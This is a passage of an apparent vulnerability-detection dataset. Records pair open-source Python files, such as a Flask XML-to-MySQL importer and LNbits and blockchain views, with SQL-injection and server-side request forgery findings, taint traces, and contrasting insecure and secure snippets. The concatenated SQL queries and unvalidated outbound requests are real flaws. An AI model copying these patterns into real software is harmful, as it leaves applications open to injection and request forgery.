redirect(url_for(\"user.home\"))\n\n return render_template('user/register.html', form=form)\n\n\n@user_blueprint.route('/login', methods=['GET', 'POST'])\ndef login():\n form = LoginForm(request.form)\n if form.validate_on_submit():\n user = User.query.filter_by(email=form.email.data).first()\n if user and bcrypt.check_password_hash(\n user.password, request.form['password']):\n login_user(user)\n flash('You are logged in. Welcome!', 'success')\n return redirect(url_for('main.home'))\n else:\n flash('Invalid email and/or password.', 'danger')\n return render_template('user/login.html', form=form)\n return render_template('user/login.html', title='Please Login', form=form)\n\n\n@user_blueprint.route('/logout')\n@login_required\ndef logout():\n logout_user()\n flash('You were logged out. Bye!', 'success')\n return redirect(url_for('main.home'))\n\n\n@user_blueprint.route('/xmlparser', methods=['POST', 'GET'])\n@login_required\ndef xmlparser():\n try:\n host = session['db_host']\n session.pop('db_host', None)\n user = session['db_user']\n session.pop('db_user', None)\n password = session['db_password']\n session.pop('db_password', None)\n db = session['db_database']\n session.pop('db_database', None)\n\n destination = session['file']\n session.pop('file', None)\n file = open(destination, \"r\")\n\n tree = ET.parse(file)\n root = tree.getroot()\n\n tagy = []\n radky = 0\n for child in root:\n sloupce = 0\n for tag in child:\n if root[radky][sloupce].tag not in tagy:\n tagy.append(prevod(root[radky][sloupce].tag))\n sloupce += 1\n radky += 1\n\n data = Data(radky)\n\n radkyX = 0\n attributy1 = 0\n attributy2 = 0\n\n for child in root:\n sloupceY = 0\n if child.attrib != \"{}\":\n for key in child.attrib:\n if not key in tagy:\n tagy.append(key)\n attributy1 += 1\n data.setData(radkyX, key, child.attrib[key])\n for tag in child:\n data.setData(radkyX, root[radkyX][sloupceY].tag, root[radkyX][sloupceY].text)\n if tag.attrib != \"{}\":\n for key in tag.attrib:\n if not key in tagy:\n tagy.append(key)\n attributy2 += 1\n data.setData(radkyX, key, tag.attrib[key])\n sloupceY += 1\n radkyX += 1\n\n sql = 'INSERT INTO `' + prevod(session['db_table']) + '` ('\n for tag in tagy:\n if request.form[tag] != \"\":\n if sql == 'INSERT INTO `' + prevod(session['db_table']) + '` (':\n sql += prevod(request.form[tag])\n else:\n sql += ',' + prevod(request.form[tag])\n\n session.pop('db_table', None)\n sql += ') VALUES '\n for x in range(0,radky):\n prvni = True\n if x == 0:\n sql += \"(\"\n else:\n sql += \",(\"\n for tag in tagy:\n if request.form[tag] != \"\":\n if prvni is True:\n sql += \"'\" + prevod(data.getData(x,tag)) + \"'\"\n prvni = False\n else:\n sql += \",'\" + prevod(data.getData(x,tag)) + \"'\"\n sql += \")\"\n sql += \";\"\n\n conn = pymysql.connect(host=host, user=user, password=password, db=db, cursorclass=pymysql.cursors.DictCursor)\n a = conn.cursor()\n file.close()\n os.remove(destination)\n a.execute(sql)\n conn.commit()\n flash('Success', 'success')\n return render_template('main/home.html')\n except:\n flash('Unexpected error', 'danger')\n\n return redirect(url_for(\"user.upload\"))\n\n\n@user_blueprint.route('/upload', methods=['POST', 'GET'])\n@login_required\ndef upload():\n if 'db_host' not in session:\n form = ConnectForm(request.form)\n return render_template('user/connect.html',form=form)\n form = UploadForm(request.form)\n return render_template('user/upload.html',form=form)\n\n@user_blueprint.route('/connect', methods=['POST', 'GET'])\n@login_required\ndef connect():\n session['db_host'] = request.form['host']\n session['db_user'] = request.form['user']\n session['db_password'] = request.form['password']\n session['db_database'] = request.form['database']\n session['db_table'] = request.form['table']\n return redirect(url_for(\"user.upload\"))\n\n\n@user_blueprint.route('/process', methods=['POST', 'GET'])\n@login_required\ndef process():\n if 'file' not in request.files:\n flash('No file part', 'danger')\n return redirect(url_for(\"user.upload\"))\n\n file = request.files['file']\n if file.filename == '':\n flash('No selected file', 'danger')\n return redirect(url_for(\"user.upload\"))\n\n if file.filename.rsplit('.', 1)[1].lower() not in ['xml']:\n flash('This is not .xml file', 'danger')\n return redirect(url_for(\"user.upload\"))\n\n try:\n filename = file.filename\n target = tempfile.gettempdir()\n destination = \"/\".join([target, filename])\n file.save(destination)\n session['file'] = destination\n file = open(destination,\"r\")\n\n tree = ET.parse(file)\n root = tree.getroot()\n\n tagy = []\n radky = 0\n for child in root:\n sloupce = 0\n for tag in child:\n if root[radky][sloupce].tag not in tagy:\n tagy.append(root[radky][sloupce].tag)\n sloupce += 1\n radky += 1\n\n data = Data(radky)\n\n radkyX = 0\n attributy1 = 0\n attributy2 = 0\n for child in root:\n sloupceY = 0\n if child.attrib != \"{}\":\n for key in child.attrib:\n if not key in tagy:\n tagy.append(key)\n attributy1 += 1\n data.setData(radkyX, key, child.attrib[key])\n for tag in child:\n data.setData(radkyX, root[radkyX][sloupceY].tag, root[radkyX][sloupceY].text)\n if tag.attrib != \"{}\":\n for key in tag.attrib:\n if not key in tagy:\n tagy.append(key)\n attributy2 += 1\n data.setData(radkyX, key, tag.attrib[key])\n sloupceY += 1\n radkyX += 1\n sloupce = sloupceY + attributy1 + attributy2\n\n conn = pymysql.connect(host = session['db_host'], user = session['db_user'], password = session['db_password'],\n db=session['db_database'], cursorclass=pymysql.cursors.DictCursor)\n a = conn.cursor()\n sql = \"SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = '\" + prevod(session['db_table']) + \"'\"\n a.execute(sql)\n result = a.fetchall()\n db_tagy = []\n for column in result:\n db_tagy.append(column['COLUMN_NAME'])\n except:\n session.pop('db_host', None)\n session.pop('db_user', None)\n session.pop('db_password', None)\n session.pop('db_database', None)\n session.pop('db_table', None)\n flash('Unexpected error', 'danger')\n return redirect(url_for(\"user.upload\"))\n\n return render_template('user/xmlparser.html', data=data, tagy=tagy, db_tagy=db_tagy, sloupce=sloupce)", "dangerousExampleEn": "1. import mysql.connector\n2. from django.shortcuts import render\n3. \n4. def update_board(request):\n5. \twith dbconn.cursor() as curs:\n6. \t\tname = request.POST.get('name', '')\n7. \t\tcontent_id = request.POST.get('content_id', '')\n8. \n9. \t\tsql_query = \"update board set name='\" + name + \"' where content_id='\" + content_id + \"'\"\n10. \n11. \t\tcurs.execute(sql_query)\n12. \t\tcurs.commit()\n13. \t\treturn render(request, '/success.html')\nLine 11: This is dangerous because it executes the query statement with externally input values directly without binding them.", "safeExampleEn": "1. import mysql.connector\n2. from django.shortcuts import render\n3. def update_board(request):\n4. \twith dbconn.cursor() as curs:\n5. \t\tname = request.POST.get('name', '')\n6. \t\tcontent_id = request.POST.get('content_id', '')\n7. \n8. \t\tsql_query = 'update board set name=%s where content_id=%s'\n9. \n10. \t\tcurs.execute(sql_query, (name, content_id))\n11. \t\tcurs.commit()\n12. \t\treturn render(request, '/success.html')\nLine 10: Bind the external input as the second parameter of execute() to execute the query statement, making it safe.", "contexts": [{"lineNo": 137, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "request"}}, {"lineNo": 161, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "execute"}}]}} {"id": "c0638ce6fe9df2daef61cae7edb0d101d9678e279b09b3543fea23abaa78ce97", "license": {"spdx": ["MIT"], "repo": "aerendon/blockchain-basics", "path": "src/node.py", "repo_head_hexsha": "e3168afd097b26d23a09fd30e74e07b695e577d1", "stack_hexsha": "7c6577b07dcade6abb36fc14d4e83aa262bb9bef", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Server-side Request Forgery", "issueDescriptionEn": "If unverified external inputs are used in requests submitted between servers, a security vulnerability could allow malicious actions to occur.\nIf a web server has a vulnerable application, an attacker can trick the application into performing abnormal behaviors or obtaining data from the trusted network by forging a URL or a request statement to bypass access control.\nUse a whitelist to filter user input values when the input value used to call another system's service is within an identifiable range. Create a blacklist that filters a list of internal URLs when it is required to receive a random URL that is specified by the user. In addition, ensure to check authentication or authorization on requests sent over the internal network.", "issueLineNumber": 64, "entireCode": "from flask import Flask, request\nimport time\nimport requests\nimport json\n\nfrom blockchain import Blockchain\nfrom block import Block\n\napp = Flask(__name__)\n\nblockchain = Blockchain()\n\npeers = set()\n\n@app.route('/add_nodes', methods=['POST'])\ndef register_new_peers():\n nodes = request.get_json()\n if not nodes:\n return \"Invalid data\", 400\n \n for node in nodes:\n peers.add(node)\n\n return \"Success\", 201\n\n@app.route('/new_transaction', methods=['POST'])\ndef new_transaction():\n tx_data = request.get_json()\n required_fields = [\"author\", \"content\"]\n\n for field in required_fields:\n if not tx_data.get(field):\n return \"Invalid transaction data\", 404\n\n tx_data[\"timestamp\"] = time.time()\n blockchain.add_new_transaction(tx_data)\n return \"Sucess\", 201\n\n@app.route('/chain', methods=['GET'])\ndef get_chain():\n chain_data = []\n for block in blockchain.chain:\n chain_data.append(block.__dict__)\n return json.dumps({ \"length\": len(chain_data), \"chain\": chain_data })\n\n@app.route('/mine', methods=['GET'])\ndef mine_unconfirmed_transactions():\n result = blockchain.mine()\n if not result:\n return \"No transactions to mine\"\n return \"Block #{} is mined.\".format(result)\n\n@app.route('/pending_tx')\ndef get_pending_tx():\n return json.dumps(blockchain.unconfirmed_transactions)\n\ndef consensus():\n global blockchain\n\n longest_chain = None\n current_len = len(blockchain)\n\n for node in peers:\n response = requests.get('http://{}/chain'.format(node))\n length = response.json()['length']\n chain = response.json()['chain']\n if length > current_len and blockchain.check_chain_validity(chain):\n current_len = length\n longest_chain = chain\n\n if longest_chain:\n blockchain = longest_chain\n return True\n\n return False\n\n@app.route('/add_block', methods=['POST'])\ndef validate_and_add_block():\n block_data = request.get_json()\n block = Block(block_data[\"index\"], block_data[\"transactions\"], block_data[\"timestamp\", block_data[\"previous_hash\"]])\n\n proof = block_data['hash']\n added = blockchain.add_block(block, proof)\n\n if not added:\n return \"The block was discarded by the node\", 400\n\n return \"Block added to the chain\", 201\n\ndef announce_new_block(block):\n for peer in peers:\n url = \"http://{}/add_block\".format(peer)\n requests.post(url, data=json.dumps(block.__dict__, sort_keys=True))\n\n\napp.run(debug=True, port=8000)", "dangerousExampleEn": "1. from django.shortcuts import render\n2. import requests\n3. \n4. def call_third_party_api(request):\n5. \taddr = request.POST.get('address', '')\n6. \n7. \t...\n8. \n9. \tresult = requests.get(addr).text\n10. \treturn render(request, '/result.html', {'result':result})\nLine 9: This is insecure because the value taken from the user in Line 5 is returned without whitelist validation.", "safeExampleEn": "1. from django.shortcuts import render\n2. import requests\n3. \n4. \n5. ...\n6. \n7. ALLOW_SERVER_LIST = [\n8. \t'https://127.0.0.1/latest/',\n9. \t'https://192.168.0.1/user_data',\n10. \t'https://192.168.0.100/v1/public'\n11. ]\n12. \n13. def call_third_party_api(request):\n14. \taddr = request.POST.get('address', '')\n15. \n16. ...\n17. \n18. \tif addr not in ALLOW_SERVER_LIST:\n19. \t\treturn render(request, '/error.html', {error = 'This server is not allowed.'})\n20. \n21. result = requests.get(addr).text\n22. \treturn render(request, '/result.html', {'result':result})\nLine 18: This is secure because the value taken from the user in Line 14 undergoes a whitelist validation process created in Line 7.", "contexts": [{"lineNo": 63, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "__iter__"}}, {"lineNo": 63, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "__next__"}}, {"lineNo": 64, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "format"}}, {"lineNo": 64, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "requests.get"}}]}} {"id": "57eb6bd7e067ecd2fbbad70c1fd05c63f5ddbf8a41318c2565c94790a90109a3", "license": {"spdx": ["MIT"], "repo": "frennkie/lnbits", "path": "lnbits/core/views/lnurl.py", "repo_head_hexsha": "5fe64d324dc7ac05d1d0fc25eb5ad6a5a414ea8a", "stack_hexsha": "ab4fc96f582ec2e7dbdc6b88ad13480fe26a5ca3", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Server-side Request Forgery", "issueDescriptionEn": "If unverified external inputs are used in requests submitted between servers, a security vulnerability could allow malicious actions to occur.\nIf a web server has a vulnerable application, an attacker can trick the application into performing abnormal behaviors or obtaining data from the trusted network by forging a URL or a request statement to bypass access control.\nUse a whitelist to filter user input values when the input value used to call another system's service is within an identifiable range. Create a blacklist that filters a list of internal URLs when it is required to receive a random URL that is specified by the user. In addition, ensure to check authentication or authorization on requests sent over the internal network.", "issueLineNumber": 32, "entireCode": "import requests\n\nfrom flask import abort, redirect, request, url_for\nfrom lnurl import LnurlWithdrawResponse, handle as handle_lnurl\nfrom lnurl.exceptions import LnurlException\nfrom time import sleep\n\nfrom lnbits.core import core_app\nfrom lnbits.helpers import Status\nfrom lnbits.settings import WALLET\n\nfrom ..crud import create_account, get_user, create_wallet, create_payment\n\n\n@core_app.route(\"/lnurlwallet\")\ndef lnurlwallet():\n memo = \"LNbits LNURL funding\"\n\n try:\n withdraw_res = handle_lnurl(request.args.get(\"lightning\"), response_class=LnurlWithdrawResponse)\n except LnurlException:\n abort(Status.INTERNAL_SERVER_ERROR, \"Could not process withdraw LNURL.\")\n\n try:\n ok, checking_id, payment_request, error_message = WALLET.create_invoice(withdraw_res.max_sats, memo)\n except Exception as e:\n ok, error_message = False, str(e)\n\n if not ok:\n abort(Status.INTERNAL_SERVER_ERROR, error_message)\n\n r = requests.get(\n withdraw_res.callback.base,\n params={**withdraw_res.callback.query_params, **{\"k1\": withdraw_res.k1, \"pr\": payment_request}},\n )\n\n if not r.ok:\n abort(Status.INTERNAL_SERVER_ERROR, \"Could not process withdraw LNURL.\")\n\n for i in range(10):\n invoice_status = WALLET.get_invoice_status(checking_id)\n sleep(i)\n if not invoice_status.paid:\n continue\n break\n\n user = get_user(create_account().id)\n wallet = create_wallet(user_id=user.id)\n create_payment(\n wallet_id=wallet.id,\n checking_id=checking_id,\n amount=withdraw_res.max_sats * 1000,\n memo=memo,\n pending=invoice_status.pending,\n )\n\n return redirect(url_for(\"core.wallet\", usr=user.id, wal=wallet.id))", "dangerousExampleEn": "1. from django.shortcuts import render\n2. import requests\n3. \n4. def call_third_party_api(request):\n5. \taddr = request.POST.get('address', '')\n6. \n7. \t...\n8. \n9. \tresult = requests.get(addr).text\n10. \treturn render(request, '/result.html', {'result':result})\nLine 9: This is insecure because the value taken from the user in Line 5 is returned without whitelist validation.", "safeExampleEn": "1. from django.shortcuts import render\n2. import requests\n3. \n4. \n5. ...\n6. \n7. ALLOW_SERVER_LIST = [\n8. \t'https://127.0.0.1/latest/',\n9. \t'https://192.168.0.1/user_data',\n10. \t'https://192.168.0.100/v1/public'\n11. ]\n12. \n13. def call_third_party_api(request):\n14. \taddr = request.POST.get('address', '')\n15. \n16. ...\n17. \n18. \tif addr not in ALLOW_SERVER_LIST:\n19. \t\treturn render(request, '/error.html', {error = 'This server is not allowed.'})\n20. \n21. result = requests.get(addr).text\n22. \treturn render(request, '/result.html', {'result':result})\nLine 18: This is secure because the value taken from the user in Line 14 undergoes a whitelist validation process created in Line 7.", "contexts": [{"lineNo": 20, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "request"}}, {"lineNo": 20, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "requestflask.request.args"}}, {"lineNo": 20, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "get"}}, {"lineNo": 20, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "handle_lnurl"}}, {"lineNo": 20, "eventType": "source", "messageKey": "synz.COMMON.value.returned.from", "params": {"arg0": "handle"}}, {"lineNo": 20, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 32, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "requests.get"}}, {"lineNo": 33, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "withdraw_reslnurlwallet.withdraw_res.callback"}}, {"lineNo": 33, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "withdraw_reslnurlwallet.withdraw_res.callback.base"}}]}} {"id": "07721e3aa6a745954479b65eccbaf1ced8ecb093bc295fe404e43f62f1a4b92b", "license": {"spdx": ["MIT"], "repo": "jonykarki/hamroscraper", "path": "candidate-scrape.py", "repo_head_hexsha": "a7e34a9cdca89be10422d045f1ed34e9956bd75f", "stack_hexsha": "43ccba90b50389b99008103e1fcff4ea674ca290", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Server-side Request Forgery", "issueDescriptionEn": "If unverified external inputs are used in requests submitted between servers, a security vulnerability could allow malicious actions to occur.\nIf a web server has a vulnerable application, an attacker can trick the application into performing abnormal behaviors or obtaining data from the trusted network by forging a URL or a request statement to bypass access control.\nUse a whitelist to filter user input values when the input value used to call another system's service is within an identifiable range. Create a blacklist that filters a list of internal URLs when it is required to receive a random URL that is specified by the user. In addition, ensure to check authentication or authorization on requests sent over the internal network.", "issueLineNumber": 22, "entireCode": "import json\nimport urllib.request\nimport MySQLdb\ndb = MySQLdb.connect(host=\"localhost\", # your host, usually localhost\n user=\"root\", # your username\n passwd=\"\", # your password\n db=\"election\") \n\ncur = db.cursor()\n\n# user_agent for sending headers with the request\nuser_agent = 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.7) Gecko/2009021910 Firefox/3.0.7'\n\n# header\nheaders={'User-Agent':user_agent,} \n\ndistrict = input(\"Enter the Name of the district: \")\n\nurl = \"http://election.ujyaaloonline.com/api/candidates?district=\" + district\n\nrequest = urllib.request.Request(url, None, headers)\nresponse = urllib.request.urlopen(request)\nsource = response.read()\n\n# print(source)\n\ndata = json.loads(source)\n\n#print(data['candidates']['2']['400'][0]['cName'])\n\nelection_area = data['election_areas']\n\n\n# get all the possible election-areas from the district\n# data needed for the database\n'''\nresultno :> autoincrement\nconstituencyname :>\nstateno :> Remove the column?\ndistrictno :>\ncandidate :>\ngender :> Remove the column???\nvotes :> set to zero for now\n\n'''\n\ni = 0\nj = 0\n\nfor key, value in election_area.items():\n area_key = key\n district_name = data['district_slug']\n\n try:\n for item in data[\"candidates\"]['1'][area_key]:\n print(item['aName'])\n print(item[\"cName\"])\n i = i + 1\n\n except:\n for item in data[\"candidates\"]['2'][area_key]:\n constituencyname = item['aName'].encode('utf-8')\n candidatename = item[\"cName\"].encode('utf-8')\n\n sql = \"INSERT INTO `test` (`id`, `candidatename`, `constituencyname`) VALUES (NULL, %s, %s)\"\n cur.execute(sql, (candidatename, constituencyname))\n\n db.commit()\n\n print('INSERTED ' + item[\"cName\"] + \" into the database\")\n \n j = j + 1\n\nprint(data['district_slug'] + \" has \" + str(i) + \" candidates in provincial election\")\nprint(data['district_slug'] + \" has \" + str(j) + \" candidates in federal election\")\nprint(\"Total: \" + str(i + j) + \" candidates added to the database\")", "dangerousExampleEn": "1. from django.shortcuts import render\n2. import requests\n3. \n4. def call_third_party_api(request):\n5. \taddr = request.POST.get('address', '')\n6. \n7. \t...\n8. \n9. \tresult = requests.get(addr).text\n10. \treturn render(request, '/result.html', {'result':result})\nLine 9: This is insecure because the value taken from the user in Line 5 is returned without whitelist validation.", "safeExampleEn": "1. from django.shortcuts import render\n2. import requests\n3. \n4. \n5. ...\n6. \n7. ALLOW_SERVER_LIST = [\n8. \t'https://127.0.0.1/latest/',\n9. \t'https://192.168.0.1/user_data',\n10. \t'https://192.168.0.100/v1/public'\n11. ]\n12. \n13. def call_third_party_api(request):\n14. \taddr = request.POST.get('address', '')\n15. \n16. ...\n17. \n18. \tif addr not in ALLOW_SERVER_LIST:\n19. \t\treturn render(request, '/error.html', {error = 'This server is not allowed.'})\n20. \n21. result = requests.get(addr).text\n22. \treturn render(request, '/result.html', {'result':result})\nLine 18: This is secure because the value taken from the user in Line 14 undergoes a whitelist validation process created in Line 7.", "contexts": [{"lineNo": 21, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 22, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "request"}}, {"lineNo": 22, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "urllib.request.urlopen"}}]}} {"id": "16a345bdf53d9f5e66aeed1a5e5a8326162b795989e7c175c1fc91ed5eb1bd1c", "license": {"spdx": ["MIT"], "repo": "maro99/yapen", "path": "app/location/crawler.py", "repo_head_hexsha": "0de7aa9d4b152aadd18511be6e536e89645452d9", "stack_hexsha": "a2b26dec93877fc20d8f5328e080c0557abecb6c", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Server-side Request Forgery", "issueDescriptionEn": "If unverified external inputs are used in requests submitted between servers, a security vulnerability could allow malicious actions to occur.\nIf a web server has a vulnerable application, an attacker can trick the application into performing abnormal behaviors or obtaining data from the trusted network by forging a URL or a request statement to bypass access control.\nUse a whitelist to filter user input values when the input value used to call another system's service is within an identifiable range. Create a blacklist that filters a list of internal URLs when it is required to receive a random URL that is specified by the user. In addition, ensure to check authentication or authorization on requests sent over the internal network.", "issueLineNumber": 197, "entireCode": "import re\nimport requests\nfrom bs4 import BeautifulSoup\nimport time\nfrom urllib import parse\nfrom selenium import webdriver\n\nfrom location.models import Pension, RoomImage, PensionImage, Room, Location, SubLocation\n\n\n# 가격에 string, 100,00 표현 맞지 않는 경우 0넣고 아니면 int로 바꿔서 출력\ndef get_int_only(string):\n a= re.findall( '(\\d*,\\d*)원.*',string)\n if len(a)==0:\n result= 0\n else:\n result = int(re.sub(',','',a[0]))\n return result\n\ndef room_crawler(soup,room_num,url,pension,count_sec_after_popup,count_sec_after_click,room_picture_url_num):\n\n ############################################################\n # Room 모델 정보, RoomImage 모델 체우기 위한 이미지 셀레늄으로 뽑아보겠슴.\n\n # 버튼 이름 으로쓸 방 이름부터 뽑아내겠슴.\n room_name_list = []\n image_table = soup.select('div.roomImageLists')\n image_table_lis = image_table[0].select('li')\n for index, image_table_li in enumerate(image_table_lis):\n if 0 < index < room_num + 1:\n room_name_list.append(image_table_li.get_text())\n\n # 접속.\n\n\n chromedriver_dir = '/home/nasanmaro/Desktop/projects/yapen/test/selenium_crawling_test/chromedriver'\n\n driver = webdriver.Chrome(chromedriver_dir)\n driver.get(url)\n time.sleep(count_sec_after_popup)\n\n # 방갯수만큼의 버튼을 클릭!\n image_table = driver.find_element_by_class_name('roomImageLists')\n for room_name_text in room_name_list:\n name = room_name_text # 객실 이름.\n room_name_button = image_table.find_elements_by_xpath('//li[contains(text(), \"{0}\") and @class=\"roomLists\"]'.format(room_name_text))\n room_name_button[0].click()\n time.sleep(count_sec_after_click) # 버튼 클릭후 충분히 멈춰줘야 사진이 로딩된다.\n\n # 드라이버 인스턴스로부터 현제 메뉴 연상태의 페이지 소스 받아서 source에 넣는다.\n source = driver.page_source\n # soup 객체로 만듬.\n soup = BeautifulSoup(source, 'lxml')\n\n pensionImagesLists = soup.find(id=\"pensionImagesLists\")\n jssorts = pensionImagesLists.select_one('div.jssort07')\n jssort = jssorts.select('div')[0]\n image_tags = jssort.select('div.p > img')\n\n # 빈값들을 일단 넣어줘서 아래서 Room 모델 생성시 애러뜨지 않게하려함.\n structure = \"\"\n size = \"\"\n normal_num_poeple = 0\n max_num_people = 0\n equipments = \"\"\n info = \"\"\n price = 0\n extra_charge_head = 0\n extra_charge_adult = 0\n extra_charge_child = 0\n # room 의 속성들 뽑는중.\n layer_table_trs = soup.select('div.layerBox > table > tbody > tr')\n\n # 종종 여기서 애러떠서 아예 빈값이면 안들어가게했음.\n if layer_table_trs:\n td_list1 = layer_table_trs[0].select('td') # 1행\n structure = td_list1[1].get_text() # '객실구조'\n size = td_list1[3].get_text(strip=True) # '크기'\n num_result = re.findall('(\\d*)명 / (\\d*)명', td_list1[5].get_text())\n normal_num_poeple = int(num_result[0][0]) # '기준인원'\n max_num_people = int(num_result[0][1]) # '최대인원'\n\n td_list2 = layer_table_trs[1].select('td') # 2행\n equipments = td_list2[1].get_text() # 구비시설\n\n td_list3 = layer_table_trs[2].select('td') # 3행\n info = td_list3[1].get_text() # 객실 설명\n\n td_list4 = layer_table_trs[3].select(' > td') # 4행\n\n ######기본금액뽑기.\n # price table 의 content중 좌상단 한개만 선택해서 기본금액으로 이것만 저장하려함.\n price_table_td = td_list4[1].select('table.datePriceTbl > tbody > tr > td')\n\n # 추가할인으로 밑줄 그어진 부분 같은 경우는 이것이 p테그안에 들어가서 따로 구분해줌.\n price_p_tag = price_table_td[1].select_one('p')\n if price_p_tag == None:\n price_p_tag = price_table_td[1]\n # 100,000원 에서 숫자들만뽑아냄.\n price = get_int_only(price_p_tag.get_text(strip=True)) # 가격\n\n ###### 추가금액 뽑기\n extra_charge_table_trs = td_list4[3].select('table.datePriceTbl > thead > tr')\n extra_charge_head = extra_charge_table_trs[0].get_text(strip=True) # 추가금액 헤드\n extra_charge_adult_str = extra_charge_table_trs[1].select('td')[1].get_text(strip=True)\n extra_charge_child_str = extra_charge_table_trs[2].select('td')[1].get_text(strip=True)\n extra_charge_baby_str = extra_charge_table_trs[3].select('td')[1].get_text(strip=True)\n # 100,000원 에서 숫자들만뽑아냄.\n extra_charge_adult = get_int_only(extra_charge_adult_str) # 어른\n extra_charge_child = get_int_only(extra_charge_child_str) # 아동\n extra_charge_baby = get_int_only(extra_charge_baby_str) # 유아\n\n room,room_created_bool = Room.objects.get_or_create(\n pension=pension,\n name=name,\n structure=structure,\n size=size,\n normal_num_poeple=normal_num_poeple,\n max_num_people=max_num_people,\n equipments=equipments,\n info=info,\n price=price,\n extra_charge_head=extra_charge_head,\n extra_charge_adult=extra_charge_adult,\n extra_charge_child=extra_charge_child,\n extra_charge_baby=extra_charge_baby,\n )\n\n for index, image_tag in enumerate(image_tags):\n image_src = image_tag.get(\"src\") # image_src--------------------->RoomImage객체만들때써라\n # print('@@룸 이미지')\n # print(image_src)\n RoomImage.objects.get_or_create(\n room=room,\n room_image=image_src,\n )\n\n if index == (room_picture_url_num-1): # room_picture_url_num 장 뽑는 시점에서 break\n break\n # 이 for 문안에서 RoomImage객체 room마다 총세번 만들면될듯\n\n # print(\"@@RoomObject 속성들\")\n # print(name)\n # print(structure)\n # print(size)\n # print(normal_num_poeple)\n # print(max_num_people)\n # print(equipments)\n # print(info)\n # print(price)\n #\n # print(extra_charge_head)\n # print(extra_charge_adult)\n # print(extra_charge_child)\n # print(extra_charge_baby)\n\n driver.close()\n\n\n\n\ndef pension_detail_crawler(sub_location,lowest_price,pension_image_thumbnail,ypidx,discount_rate):\n max_room_num = 4\n pension_picture_url_num = 2 # 저장할 pension 이미지 url 1이상으로 설정해야함.\n room_picture_url_num = 2 # 저장할 room 이미지 url 1이상으로 설정해야함.\n count_sec_after_popup = 3 # seleinuim으로 창 연후에 후 몇초 sleep할지\n count_sec_after_click = 2 # seleinuim으로 각 방버튼 클릭 후 몇초 sleep할지\n\n params = {\n 'ypIdx': ypidx\n }\n\n url = \"http://www.yapen.co.kr/details?\" + parse.urlencode(params)\n\n request = requests.get(url)\n response = request.text\n soup = BeautifulSoup(response, 'lxml')\n\n ##############pension_detail 페이지 상단 기본정보들 .\n # name\n name_root = soup.select('div.wrap_1000')\n name = name_root[0].select('h3')[0].get_text() # name\n\n # address\n table = soup.select('table.pensionTbl')\n trs = table[0].select('tr')\n tds = trs[0].select('td')\n address = tds[0].get_text() # address\n result = re.findall('지번 : (.*) ',address)\n lat=0\n lng=0\n tic = 0\n while(lat==0): # 한번 요청 보내도 값 안줄때가 있어서 적절한 값 들어갈때까지 요청 보낸다.\n URL = 'http://maps.googleapis.com/maps/api/geocode/json?sensor=false&language=ko&address={}' \\\n .format(result)\n\n response = requests.get(URL)\n\n if response:\n data = response.json()\n\n if data.get('results'): # 만약 reaults에 뭔가 있다면 if문들어가서 lat, lng에 값 할당\n lat = data['results'][0]['geometry']['location']['lat'] # 위도 lat\n lng = data['results'][0]['geometry']['location']['lng'] # 경도 lng\n\n tic = tic +1\n if tic ==10:\n lat = 1\n\n # check_in, check_out\n tds2 = trs[1].select('td')\n check_in_out = tds2[0].select('span')\n check_in = check_in_out[0].get_text() # check_in\n check_out = check_in_out[1].get_text() # check_out\n\n # pickup\n tds3 = trs[2].select('td')\n pickup = tds3[0].get_text(strip=True) # pickup\n\n # room_num\n td4 = trs[3].select('td')\n number_tags = td4[0].select('span')\n room_string = number_tags[0].get_text()\n room_num = int(re.search('(\\d*)', room_string).group()) # room_num\n\n # room_num 최대 max_room_num으로 제한걸어줌.\n if room_num > max_room_num:\n room_num = max_room_num\n\n # info\n td5 = trs[4].select('td')\n infos = td5[0].select('p')\n info = ''\n for one_info in infos:\n info = info + '\\n' + one_info.get_text() + '\\n' # info\n\n # theme\n td6 = trs[5].select('td')\n lis = td6[0].select('li')\n theme_list = []\n for li in lis:\n theme_list.append(li.get_text())\n # '테마1,테마2,테마3' 이런 형태로 저장하고 싶다.\n theme = (',').join(theme_list) # theme\n\n ###############pension_detail 페이지 하단 추가정보들 .\n detailDiv = soup.select('div.detailDiv')[0]\n detailsPensionInfoTitle = detailDiv.select('div.detailsPensionInfoTitle')\n\n pension_detail_bellow_dict = dict()\n for one_title in detailsPensionInfoTitle:\n next_detail_div = one_title.findNext('div')\n next_detail = ''\n for p in next_detail_div.select('p'):\n next_detail = next_detail + p.get_text() + '\\n'\n # p 테그없고 바로 text쓴경우에는 검출안된다.....\n pension_detail_bellow_dict[one_title.get_text(strip=True)] = next_detail\n\n check_in_out_detail = \"\"\n pickup_detail = \"\"\n gretting = \"\"\n precautions = \"\"\n\n for key, value in pension_detail_bellow_dict.items():\n if key == '입실 / 퇴실시간':\n check_in_out_detail = value # check_in_out_detail\n elif key == '픽업가능':\n pickup_detail = value # pickup_detail\n elif key == '펜션소개 및 인사말':\n gretting = value # gretting\n elif key == '이용 주의사항':\n 